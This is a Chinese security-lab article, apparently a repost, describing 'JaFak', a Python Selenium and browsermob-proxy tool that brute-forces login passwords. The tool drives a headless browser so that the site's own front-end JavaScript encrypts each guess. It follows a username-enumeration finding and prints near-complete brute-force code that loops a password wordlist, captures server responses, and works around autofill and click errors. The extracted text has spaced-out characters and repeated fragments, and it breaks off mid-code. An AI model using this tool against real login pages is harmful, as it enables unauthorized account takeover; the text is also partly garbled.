搜索

[20404] 2020-12-13_JaFak：一款无视js前端加密的账号密码爆破工具

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-18
2020-12-13_JaFak：一款无视js前端加密的账号密码爆破工具 J a F a k ： 一 款 无 视 j s 前 端 加 密 的 账 号 密 码 爆 破 工 具 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 1 3 以 下 文 章 来 源 于 G a m m a 安 全 实 验 室   ， 作 者 0 x A X S D D 点 击 蓝 字 关 注 我 哦 f r e e b u f 原 文 链 接 : h t t p s : / / w w w . f r e e b u f . c o m / s e c t o o l / 2 5 7 6 8 5 . h t m l 已 经 上 传 到 g i t h u b ， 文 末 附 有 g i t h u b 地 址 前 因 ： 前 因 ： 其 实 这 文 讲 得 重 点 不 是 工 具 的 开 发 ， 而 是 一 种 思 想 ： 为 什 么 会 想 到 写 这 个 脚 本 ？ 爱 恨 情 仇 加 纠 缠 在 我 的 潜 意 识 里 ， 我 只 会 在 真 正 用 的 时 候 才 会 去 找 轮 子 ， 造 轮 子 ， 所 以 这 次 的 脚 本 也 是 因 为 一 次 实 际 的 常 规 测 试 引 发 的 一 连 串 连 锁 反 应 ， 我 称 之 为 铁 索 连 环 ！ 在 一 次 授 权 的 系 统 测 试 中 ， 我 发 现 了 系 统 找 回 密 码 功 能 处 有 个 很 有 趣 的 事 情 ， 找 回 密 码 进 行 验 证 的 时 候 ， 需 要 输 入 用 户 名 和 相 应 绑 定 的 邮 箱 ， 当 我 输 入 正 确 的 用 户 名 时 候 ， 系 统 会 提 示 “ 用 户 名 或 邮 箱 错 误 ” 没 毛 病 ， 模 糊 信 息 返 回 ， 但 是 当 我 输 入 正 确 的 用 户 名 和 错 误 的 邮 箱 时 ， 系 统 会 提 示 “ 输 入 邮 箱 错 误 ” ， 相 信 各 位 大 佬 都 知 道 了 ， 这 里 挖 掘 到 一 枚 用 户 名 枚 举 的 漏 洞 ， 通 过 系 统 的 提 示 系 统 ， 批 量 爆 破 系 统 存 在 的 用 户 名 。 但 是 ， 交 过 洞 的 大 佬 们 都 知 道 ， 除 非 是 金 融 行 业 ， 或 者 其 他 很 重 要 系 统 ， 一 般 是 不 会 收 这 样 的 漏 洞 ， 收 也 是 低 位 （ 超 低 的 哟 ） ， 恰 巧 我 做 的 这 个 项 目 ， 不 是 那 一 类 ， 所 以 没 啥 卵 用 。 G a m m a 安 全 实 验 室 安 全 实 验 室   . G a m m a 实 验 室 是 专 注 于 网 络 安 全 攻 防 研 究 的 实 验 室 ， 不 定 时 向 外 输 出 技 术 文 章 以 及 自 主 研 发 安 全 工 具 ， 技 术 输 出 不 限 于 ： 渗 透 ， 内 网 ， 红 队 ， 免 杀 ， 病 毒 分 析 ， 逆 向 ， c t f w p 等 , 实 验 室 只 用 于 技 术 研 究 ， 一 切 违 法 犯 罪 与 实 验 室 无 关 ！ 完 全 可 以 利 用 一 些 可 自 动 化 测 试 来 帮 助 我 们 进 行 渗 透 测 试 任 务
                                                    但 是 但 是 ！ 这 不 像 我 们 不 曲 不 折 的 安 全 人 员 ！ 毕 竟 国 内 的 饭 不 太 好 要 是 吧 （ 玩 笑 话 ） 。 — — 差 点 劝 退 差 点 劝 退 所 以 我 决 定 搞 点 事 情 ， 把 这 个 洞 危 害 加 大 ， 我 第 一 个 想 的 就 是 爆 破 固 定 的 用 户 名 与 密 码 ， 因 为 系 统 的 登 录 页 面 ， 无 论 是 你 用 户 名 错 误 还 是 密 码 错 误 ， 都 返 回 “ 用 户 名 和 密 码 或 错 误 ！ ” ， 且 没 有 验 证 码 验 证 ， 也 不 限 制 次 数 ， 又 因 为 我 们 枚 举 了 正 确 的 用 户 名 ， 这 个 提 示 相 当 于 变 成 了 “ 密 码 错 误 ， 请 重 新 输 入 ” ， 就 可 以 爆 破 固 定 用 户 名 的 密 码 了 ， b u r p 启 动 ， 直 接 就 冲 了 ! 看 到 密 码 后 面 有 % 3 D % 3 D ， 我 逐 渐 兴 奋 ， 这 不 就 是 b a s e 6 4 加 密 吗 ？ 直 接 p y t h o n 脚 本 ， 先 b a s e 6 4 加 密 ， 然 后 爆 破 ， 舒 服 ， 等 着 出 密 码 就 行 了 ！ 但 是 得 先 验 证 是 否 是 b a s e 6 4 加 密 ， 然 后 放 入 b u r p 解 码 ， 我 擦 ， 解 不 出 来 ， 我 刚 开 始 还 不 相 信 ， 多 试 了 几 次 ， 还 真 不 是 ！ 没 事 没 事 ， 冷 静 冷 静 ！ 这 玩 意 密 码 学 嘛 ， 这 不 有 手 就 能 把 他 的 加 密 逻 辑 给 逆 出 来 ， 哎 呀 ， 我 擦 ， 我 的 手 勒 ？                                                                       然 后 打 开 j s ， 进 行 源 码 分 析 ， 漂 亮 ， 一 个 混 淆 把 我 思 路 绕 城 了 钢 丝 球 ！ 直 接 给 我 整 劝 退 ， 再 见 项 目 ， 再 见 网 安 ， 再 见 打 工 人 ， 回 家 种 田 去 了 。
                                                            — — 天 马 行 空 但 是 吧 ， 我 觉 得 难 不 倒 我 ， 我 还 可 以 抢 救 一 下 ， 因 为 我 以 前 看 过 大 佬 ， 通 过 本 地 建 立 服 务 ， 去 调 用 系 统 的 j s ， 然 后 为 己 用 ， 但 是 也 得 找 到 加 密 函 数 的 接 口 ， b p 上 面 就 有 插 件 ， 本 地 起 服 务 ， 但 是 也 得 找 到 加 密 的 入 口 函 数 ！ 还 是 佩 服 那 些 前 端 调 试 硬 刚 的 大 佬 ， 真 是 大 佬 ！ 因 为 我 以 前 见 过 国 外 的 某 性 能 测 试 软 件 ， 不 知 道 啥 名 字 了 ， 反 正 挺 贵 的 ， 能 自 动 控 制 浏 览 器 进 行 性 能 设 置 ， 就 好 比 一 个 机 器 人 帮 你 输 入 ， 帮 你 提 交 ， 帮 你 访 问 网 站 ， 我 觉 得 酷 死 了 ， 然 后 我 就 想 了 想 咋 实 现 的 ， 想 起 自 动 化 ， 我 肯 定 第 一 时 间 想 起 了 p y t h o n ， G o o g l e 一 搜 还 真 有 ！ 有 事 找 百 度 ， g o o g l e 准 没 错 ！ 开 始 奇 幻 之 旅 为 什 么 说 奇 幻 勒 ? 因 为 爬 坑 的 故 事 真 的 一 把 鼻 涕 一 把 泪 的 ， 别 说 了 ， 哭 晕 在 厕 所 。 开 始 使 用 s e l e n i u m 框 架 。 。 。 。 。 。 。 。 。 。 。 。 。 S e l e n i u m   是 什 么 ？ 一 句 话 ， 自 动 化 测 试 工 具 。 它 支 持 各 种 浏 览 器 ， 包 括   C h r o m e ， S a f a r i ， F i r e f o x   等 主 流 界 面 式 浏 览 器 ， 如 果 你 在 这 些 浏 览 器 里 面 安 装 一 个   S e l e n i u m   的 插 件 ， 那 么 便 可 以 方 便 地 实 现   W e b   界 面 的 测 试 。 换 句 话 说 叫   S e l e n i u m   支 持 这 些 浏 览 器 驱 动 。 这 里 用 的 东 西 p y t h o n + s e l e n i u m + b r o w s e r m o b p r o x y
爱 爱   之 之   初 初   步 步   体 体   验 验 爱 爱   之 之   初 初   步 步   体 体   验 验 爱 爱   之 之   初 初   步 步   体 体   验 验 爱 爱   之 之   初 初   步 步   体 体   验 验 爱 爱   之 之   初 初   步 步   体 体   验 验 我 们 先 来 一 个 小 例 子 感 受 一 下   S e l e n i u m ， 这 里 我 们 用   C h r o m e   浏 览 器 来 测 试 （ 当 然 你 可 以 i 缓 存 其 他 的 浏 览 器 不 影 响 ） 。 注 意 在 尝 试 这 段 代 码 之 前 ， 你 得 安 装 c h r o m e 浏 览 器 。 运 行 这 段 代 码 ， 它 会 自 动 打 开 c h r o m e 浏 览 器 ， 然 后 打 开 h t t p : / / w w w . b a i d u . c o m / 这 个 网 页 ， 完 全 可 视 化 ， 因 为 你 会 看 到 你 的 c h r o m e 浏 览 器 打 开 浏 览 这 个 过 程 。 如 果 代 码 执 行 错 误 ， 浏 览 器 没 有 打 开 ， 那 么 应 该 是 没 有 装   C h r o m e   浏 览 器 或 者   C h r o m e   驱 动 没 有 配 置 在 环 境 变 量 里 。 下 载 驱 动 ， 然 后 将 驱 动 文 件 路 径 配 置 在 环 境 变 量 即 可 但 是 因 为 我 们 的 测 试 需 要 提 交 爆 破 的 用 户 名 和 密 码 打 开 网 页 是 远 远 不 够 的 ， 所 以 这 段 代 码 会 遍 历 打 开 h t t p : / / w w w . p y t h o n . o r g 这 个 网 页 ， 等 P y t h o n 字 体 加 载 出 来 的 时 候 ， 才 遍 历 h t m l   树 状 结 构 ， 找 到 n a m e 为 q 的 标 签 ， 然 后 填 入 p y c o n ， 然 后 模 拟 点 击 这 里 为 什 么 要 等 待 加 载 ， 因 为 可 能 网 站 有 j q 什 么 的 加 载 没 完 全 ， 再 点 击 会 失 去 原 来 的 韵 味 。 根 据 实 际 需 求 的 情 况 需 要 这 段 代 码 被 我 改 成 了 这 个 样 子 ： 这 样 就 模 拟 了 一 次 完 整 的 用 户 名 和 密 码 输 入 ， 以 及 点 击 登 录 的 效 果 . f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r b r o w s e r   =   w e b d r i v e r . C h r o m e ( ) b r o w s e r . g e t ( ' h t t p : / / w w w . b a i d u . c o m / ' ) f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s d r i v e r   =   w e b d r i v e r . C h r o m e ( ) d r i v e r . g e t ( " h t t p : / / w w w . p y t h o n . o r g " ) a s s e r t   " P y t h o n "   i n   d r i v e r . t i t l e # 等 待 加 载 结 束 e l e m   =   d r i v e r . f i n d _ e l e m e n t _ b y _ n a m e ( " q " ) e l e m . s e n d _ k e y s ( " p y c o n " ) e l e m . s e n d _ k e y s ( K e y s . R E T U R N ) p r i n t （ d r i v e r . p a g e _ s o u r c e ） f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s d r i v e r   =   w e b d r i v e r . C h r o m e ( ) d r i v e r . g e t ( " x x x x x x x x " ) d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) # 找 到 输 入 用 户 名 的 标 签 ， 把 用 户 名 输 入 进 去 d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) # # 找 到 输 入 密 码 的 标 签 ， 把 用 户 名 输 入 进 去 d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) ) . c l i c k ( ) # 找 到 登 录 标 签 ， 然 后 点 击
坑 点 坑 点 1 这 里 为 什 么 要 用 c s s _ s e l e c t o r ， 本 来 可 以 直 接 使 用 b y _ c l a s s _ n a m e 的 ， 但 是 因 为 我 实 际 利 用 场 景 这 里 很 特 殊 ， c l a s s 的 名 字 之 间 有 空 格 ， 使 用 b y _ c l a s s _ n a m e 获 取 不 到 ， 如 果 c l a s s 的 名 字 没 有 空 格 ， 就 可 以 直 接 获 取 ， 当 然 也 可 以 通 过 标 签 的 其 他 的 属 性 访 问 到 . 但 是 这 样 只 能 提 交 一 次 登 录 请 求 ， 而 且 还 得 必 须 清 空 上 一 次 填 写 的 账 号 密 码 ， 再 改 进 再 此 基 础 上 加 个 循 环 ， 可 以 批 量 爆 破 他 的 密 码 了 ， 因 为 c h r o m e 浏 览 器 已 经 自 动 加 载 调 用 j s 帮 我 们 加 密 好 了 变 成 了 密 文 ， 然 后 再 发 送 过 去 ， 真 是 n i c e 鸭 ！ 但 是 有 个 问 题 , 就 是 我 无 法 捕 获 服 务 器 的 返 回 包 , 刚 开 始 使 用 s e l e n i u m 抓 取 c h r o m e d r i v e r 的 n e t w o r k 抓 到 的 流 量 还 得 自 己 分 析 , 就 很 难 受 , 然 后 就 是 使 用 了 b r o w s e r m o b p r o x y   来 开 启 一 个 中 间 的 代 理 , 让 我 的 c h r o m e 先 去 经 过 b r o w e r m o b p r o x y , 然 后 b r o w e r m o b p r o x y 抓 取 我 的 h t t p 流 量 , 就 可 以 拿 到 了 服 务 器 返 回 包 了 . 就 很 n i c e ! B r o w s e r m o b - P r o x y 是 一 个 开 源 的 J a v a 编 写 的 基 于 L i t t l e P r o x y 的 代 理 服 务 。 B r o w s e r m o b - P r o x y 的 具 体 流 程 有 点 类 似 与 F l i d d e r 或 C h a r l e s 。 即 开 启 一 个 端 口 并 作 为 一 个 标 准 代 理 存 在 ， 当 H T T P 客 户 端 （ 浏 览 器 等 ） 设 置 了 这 个 代 理 ， 则 可 以 抓 取 所 有 的 请 求 细 节 并 获 取 返 回 内 容 。 安 装 : f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s d r i v e r   =   w e b d r i v e r . C h r o m e ( ) d r i v e r . g e t ( " x x x x x x x x " ) # 循 环 加 在 这 d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) # 找 到 输 入 用 户 名 的 标 签 ， 把 用 户 名 输 入 进 去 d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) # # 找 到 输 入 密 码 的 标 签 ， 把 用 户 名 输 入 进 去 d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) ) . c l i c k ( ) # 找 到 登 录 标 签 ， 然 后 点 击 d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) d r i v e r . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) 直 接 到 项 目 的 g i t h u b 上 下 载 打 好 的 压 缩 包 即 可 : h t t p s : / / g i t h u b . c o m / l i g h t b o d y / b r o w s e r m o b - p r o x y / r e l e a s e s ， 支 持 L i n u x 和 W i n d o w s 。 安 装 对 应 的 p y t h o n 包 : p i p   i n s t a l l   b r o w s e r m o b - p r o x y 下 载 好 b r o w s e r m o b - p r o x y 之 后 ， 放 在 指 定 一 个 目 录 ， 例 如 我 这 里 是   D : a p k b r o w s e r m o b - p r o x y - 2 . 1 . 4 - b i n b r o w s e r m o b - p r o x y f r o m   b r o w s e r m o b p r o x y   i m p o r t   S e r v e r
配 置 P r o x y 启 动 W e b D r i v e r : 值 得 注 意 的 是 : 可 以 直 接 进 入 到 S e r v e r 这 个 类 里 面 去 修 改 他 的 监 听 端 口 直 接 上 根 据 实 际 测 试 需 求 最 终 代 码 : f r o m   b r o w s e r m o b p r o x y   i m p o r t   S e r v e r s e r v e r   =   S e r v e r ( " 路 径 " ) s e r v e r . s t a r t ( ) p r o x y   =   s e r v e r . c r e a t e _ p r o x y ( ) f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c h r o m e . o p t i o n s   i m p o r t   O p t i o n s c h r o m e _ o p t i o n s   =   O p t i o n s ( ) c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - p r o x y - s e r v e r = { 0 } ' . f o r m a t ( p r o x y . p r o x y ) ) d r i v e r   =   w e b d r i v e r . C h r o m e ( c h r o m e _ o p t i o n s = c h r o m e _ o p t i o n s ) b r o w s e r m o b - p r o x y 起 的 S e r v e r 默 认 是 8 0 8 0 端 口 i m p o r t   o s i m p o r t   a r g p a r s e i m p o r t   s y s f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . d e s i r e d _ c a p a b i l i t i e s   i m p o r t   D e s i r e d C a p a b i l i t i e s f r o m   b r o w s e r m o b p r o x y   i m p o r t   S e r v e r f r o m   s e l e n i u m . w e b d r i v e r . c h r o m e . o p t i o n s   i m p o r t   O p t i o n s c l a s s   B r o w e r _ s c a n ( ) : d e f   _ _ i n i t _ _ ( s e l f , u r l , u s e r n a m e , p a s s w o r d _ d i r ) : s e l f . u r l   =   u r l s e l f . r e s p o n s e _ r e s u l t   =   [ ] s e l f . r e s u l t = { } s e l f . i n i t _ b r o w s e r m o b p r o x y ( ) s e l f . i n i t _ c h r o m e ( ) s e l f . i n i t _ d i c t _ l i s t ( u s e r n a m e , p a s s w o r d _ d i r ) s e l f . r e s u l t _ h a n d i n g ( ) s e l f . e n d _ e n v ( ) d e f   i n i t _ d i c t _ l i s t ( s e l f , u s e r n a m e , p a s s w o r d _ d i r ) : w i t h   o p e n ( p a s s w o r d _ d i r , " r " )   a s   f : s e l f . p a s s w o r d _ l i s t   =   f . r e a d l i n e s ( ) f o r   p a s s w o r d   i n   s e l f . p a s s w o r d _ l i s t : s e l f . f i l l _ o u t _ a _ f o r m ( u s e r n a m e , p a s s w o r d . r e p l a c e ( ' n ' , ' ' ) ) s e l f . w g e t _ r e s p o n s e ( ) d e f   i n i t _ b r o w s e r m o b p r o x y ( s e l f ) : s e l f . s e r v e r   =   S e r v e r ( " b r o w s e r m o b - p r o x y - 2 . 1 . 4 b i n b r o w s e r m o b - p r o x y . b a t " ) # b r o w e r m o b p r o x y 文 件 的 位 置 s e l f . s e r v e r . s t a r t ( ) s e l f . p r o x y   =   s e l f . s e r v e r . c r e a t e _ p r o x y ( ) s e l f . c h r o m e _ o p t i o n s   =   O p t i o n s ( ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - p r o x y - s e r v e r = { 0 } ' . f o r m a t ( s e l f . p r o x y . p r o x y ) ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - h e a d l e s s ' ) # 这 里 加 了 一 个 参 数 , 不 启 动 c h r o m e 浏 览 器 , 省 去 了 启 动 的 时 间 , 更 快 了
拿 去 实 战 爆 破 效 果 一 浏 览 : s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - h e a d l e s s ' ) # 这 里 加 了 一 个 参 数 , 不 启 动 c h r o m e 浏 览 器 , 省 去 了 启 动 的 时 间 , 更 快 了 d e f   i n i t _ c h r o m e ( s e l f ) : t r y : s e l f . c h r o m e   =   w e b d r i v e r . C h r o m e ( c h r o m e _ o p t i o n s = s e l f . c h r o m e _ o p t i o n s ) s e l f . p r o x y . n e w _ h a r ( " h t _ l i s t 2 " ,   o p t i o n s = { ' c a p t u r e C o n t e n t ' :   T r u e } ) s e l f . c h r o m e . g e t ( s e l f . u r l ) e x c e p t   E x c e p t i o n   a s   e : p r i n t ( " C h r o m e 浏 览 器 启 动 失 败 ！ n " ) r e t u r n   0 d e f   f i l l _ o u t _ a _ f o r m ( s e l f , u s e r n a m e , p a s s w o r d ) : s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t   i v u - i n p u t - w i t h - p r e f i x ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t     i v u - i n p u t - w i t h - s u f f i x ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' i v u - b t n   i v u - b t n - p r i m a r y     i v u - b t n - l a r g e ' ] " ) ) . c l i c k ( ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i i v u - i n p u t   i v u - i n p u t - w i t h - p r e f i x ' ] " ) . c l e a r ( ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t     i v u - i n p u t - w i t h - s u f f i x ' ] " ) . c l e a r ( ) d e f   w g e t _ r e s p o n s e ( s e l f ) : r e s u l t   =   s e l f . p r o x y . h a r f o r   e n t r y   i n   r e s u l t [ ' l o g ' ] [ ' e n t r i e s ' ] : _ u r l   =   e n t r y [ ' r e q u e s t ' ] [ ' u r l ' ] p r i n t ( _ u r l ) i f   " p a s s w o r d "   i n   _ u r l   a n d   " u s e r n a m e "   i n   _ u r l : _ r e s p o n s e   =   e n t r y [ ' r e s p o n s e ' ] _ c o n t e n t   =   _ r e s p o n s e [ ' c o n t e n t ' ] #   获 取 接 口 返 回 内 容 s e l f . r e s p o n s e _ r e s u l t . a p p e n d ( _ r e s p o n s e [ ' c o n t e n t ' ] [ ' t e x t ' ] ) s e l f . r e s u l t   =   d i c t ( z i p ( s e l f . p a s s w o r d _ l i s t ,   s e l f . r e s p o n s e _ r e s u l t ) ) d e f   r e s u l t _ h a n d i n g ( s e l f ) : f o r   k e y , v a l u e   i n   s e l f . r e s u l t . i t e m s ( ) : p r i n t ( " 密 码 ： { k e y }   : 结 果 ： { r e s u l t } " . f o r m a t ( k e y = k e y , r e s u l t = v a l u e ) ) d e f   e n d _ e n v ( s e l f ) : t r y : s e l f . s e r v e r . s t o p ( ) s e l f . c h r o m e . q u i t ( ) f i n d _ n e t s t a t   =   o s . p o p e n ( " n e t s t a t   - a n o   |   f i n d s t r   8 0 8 0 " ) # 开 的 什 么 端 口 杀 什 么 端 口 的 进 程 p i d   =   f i n d _ n e t s t a t . r e a d ( ) . s p l i t ( ) [ 4 ] k a i l _ p i d   =   o s . p o p e n ( " t a s k k i l l   / F   / P I D   { P I D } " . f o r m a t ( P I D = p i d ) ) p r i n t ( k a i l _ p i d . r e a d ( ) ) r e t u r n   1 e x c e p t   I n d e x E r r o r   a s   e : r e t u r n   0 B r o w e r   =   B r o w e r _ s c a n ( u r l , ' a d m i n ' , ' p a s s w o r d . t x t ' )
坑 点 二 : 实 际 爆 破 效 果 不 是 这 样 的 密 码 输 入 依 次 为   1 2 3 4 5 6   1 2 3 4 5 6 4 5 6 7 8 9   1 2 3 4 5 6 4 5 5 6 7 8 9 5 5 6 6 4   . . . . . . . . . . . . . . . . . . . . . . . . 一 直 增 大   , 好 像 缓 存 没 有 清 楚 一 样 , 但 是 我 实 际 确 实 c l e a r 了 坑 点 坑 点 2 实 际 爆 破 效 果 不 是 这 样 的 密 码 输 入 依 次 为   1 2 3 4 5 6   1 2 3 4 5 6 4 5 6 7 8 9   1 2 3 4 5 6 4 5 5 6 7 8 9 5 5 6 6 4   . . . . . . . . . . . . . . . . . . . . . . . . 一 直 增 大   , 好 像 缓 存 没 有 清 楚 一 样 , 但 是 我 实 际 确 实 c l e a r 了 这 个 问 题 把 我 搞 了 很 久 , 百 思 不 得 其 解 最 后 , 在 部 门 大 神 的 指 点 下 , 成 功 找 到 原 因 , 并 解 决 问 题 , 果 然 听 君 一 席 话 , 胜 读 1 0 年 书 , 不 愧 是 大 佬 ! ! 因 为 起 的 浏 览 器 默 认 是 记 住 上 次 密 码 的 , 当 我 输 入 一 个 a d m i n 账 号 的 时 候 , 在 输 入 密 码 , 然 后 浏 览 器 记 住 了 我 的 账 号 了 , 虽 然 错 误 , 然 后 继 续 输 入 a d m i n , 然 后 浏 览 器 会 自 动 补 全 1 2 3 4 5 6 , 然 后 我 再 输 入 了 一 个 4 5 6 7 8 9   结 果 就 成 了 1 2 3 4 5 6 4 5 6 7 8 9 了 . . . . .   就 这 个 理 更 改 只 需 要 把 顺 序 调 换 一 下 就 行 了 : 只 需 要 在 它 补 全 之 前 , 再 次 c l e a r 就 行 s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) ) . c l i c k ( )
坑 点 3 如 果 登 录 标 签 使 用 c l i c k 属 性 , 因 为 元 素 被 包 裹 的 问 题 , c l i c k 多 了 会 报 错 ! , 解 决 办 法 是 使 用 s e n d _ k e y s ( ) 好 了 这 里 基 本 上 解 决 了 所 以 的 坑 点 , 但 是 实 际 的 坑 点 很 多 , 我 只 是 把 主 要 的 几 点 放 出 来 讲 了 一 下 , 最 终 代 码 : s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) ) . s e n d _ k e y s ( K e y s . R E T U R N ) i m p o r t   o s i m p o r t   a r g p a r s e i m p o r t   s y s f r o m   s e l e n i u m   i m p o r t   w e b d r i v e r f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . k e y s   i m p o r t   K e y s f r o m   s e l e n i u m . w e b d r i v e r . c o m m o n . d e s i r e d _ c a p a b i l i t i e s   i m p o r t   D e s i r e d C a p a b i l i t i e s f r o m   b r o w s e r m o b p r o x y   i m p o r t   S e r v e r f r o m   s e l e n i u m . w e b d r i v e r . c h r o m e . o p t i o n s   i m p o r t   O p t i o n s c l a s s   B r o w e r _ s c a n ( ) : d e f   _ _ i n i t _ _ ( s e l f , u r l , u s e r n a m e , p a s s w o r d _ d i r ) : s e l f . u r l   =   u r l s e l f . r e s p o n s e _ r e s u l t   =   [ ] s e l f . r e s u l t = { } s e l f . i n i t _ b r o w s e r m o b p r o x y ( ) s e l f . i n i t _ c h r o m e ( ) s e l f . i n i t _ d i c t _ l i s t ( u s e r n a m e , p a s s w o r d _ d i r ) s e l f . r e s u l t _ h a n d i n g ( ) s e l f . e n d _ e n v ( ) d e f   i n i t _ d i c t _ l i s t ( s e l f , u s e r n a m e , p a s s w o r d _ d i r ) : w i t h   o p e n ( p a s s w o r d _ d i r , " r " )   a s   f : s e l f . p a s s w o r d _ l i s t   =   f . r e a d l i n e s ( ) f o r   p a s s w o r d   i n   s e l f . p a s s w o r d _ l i s t : s e l f . f i l l _ o u t _ a _ f o r m ( u s e r n a m e , p a s s w o r d . r e p l a c e ( ' n ' , ' ' ) ) s e l f . w g e t _ r e s p o n s e ( ) d e f   i n i t _ b r o w s e r m o b p r o x y ( s e l f ) : s e l f . s e r v e r   =   S e r v e r ( " b r o w s e r m o b - p r o x y - 2 . 1 . 4 b i n b r o w s e r m o b - p r o x y . b a t " ) # b r o w e r m o b p r o x y 文 件 的 位 置 s e l f . s e r v e r . s t a r t ( ) s e l f . p r o x y   =   s e l f . s e r v e r . c r e a t e _ p r o x y ( ) s e l f . c h r o m e _ o p t i o n s   =   O p t i o n s ( ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( " – i n c o g n i t o " ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - p r o x y - s e r v e r = { 0 } ' . f o r m a t ( s e l f . p r o x y . p r o x y ) ) s e l f . c h r o m e _ o p t i o n s . a d d _ a r g u m e n t ( ' - - h e a d l e s s ' ) # 这 里 加 了 一 个 参 数 , 不 启 动 c h r o m e 浏 览 器 , 省 去 了 启 动 的 时 间 , 更 快 了 d e f   i n i t _ c h r o m e ( s e l f ) : t r y : s e l f . c h r o m e   =   w e b d r i v e r . C h r o m e ( c h r o m e _ o p t i o n s = s e l f . c h r o m e _ o p t i o n s ) s e l f . p r o x y . n e w _ h a r ( " t e s t " ,   o p t i o n s = { ' c a p t u r e C o n t e n t ' :   T r u e ,   ' c a p t u r e H e a d e r s ' :   T r u e } ) s e l f . c h r o m e . g e t ( s e l f . u r l ) e x c e p t   E x c e p t i o n   a s   e : p r i n t ( " C h r o m e 浏 览 器 启 动 失 败 ！ n " )
这 里 仅 仅 把 这 种 方 式 利 用 在 密 码 爆 破 上 面 , 但 是 实 际 的 利 用 场 景 远 不 止 这 些 , 我 觉 得 可 以 利 用 任 何 j s 加 密 , j q 加 密 的 , 前 端 加 密 的 场 景 , 都 可 以 用 到 , 根 本 不 需 要 去 分 析 它 的 j s 前 端 加 密 代 码 , 只 需 要 把 爆 破 行 为 模 拟 正 常 的 用 户 行 为 就 欧 克 了 , 不 得 不 说 , 这 种 智 能 的 方 式 真 的 太 方 便 了 ! 太 香 了 ! ! ! ! ! ! ! ! g i t h u b 已 经 上 传 了 一 个 我 已 经 写 好 的 爆 破 登 录 界 面 账 号 和 密 码 的 , 大 家 可 以 去 下 载 自 行 享 用 ! r e t u r n   0 d e f   f i l l _ o u t _ a _ f o r m ( s e l f , u s e r n a m e , p a s s w o r d ) : p r i n t ( p a s s w o r d ) s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . c l e a r ( ) # 清 空 u s e r n a m e 输 入 框 的 标 签 s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t   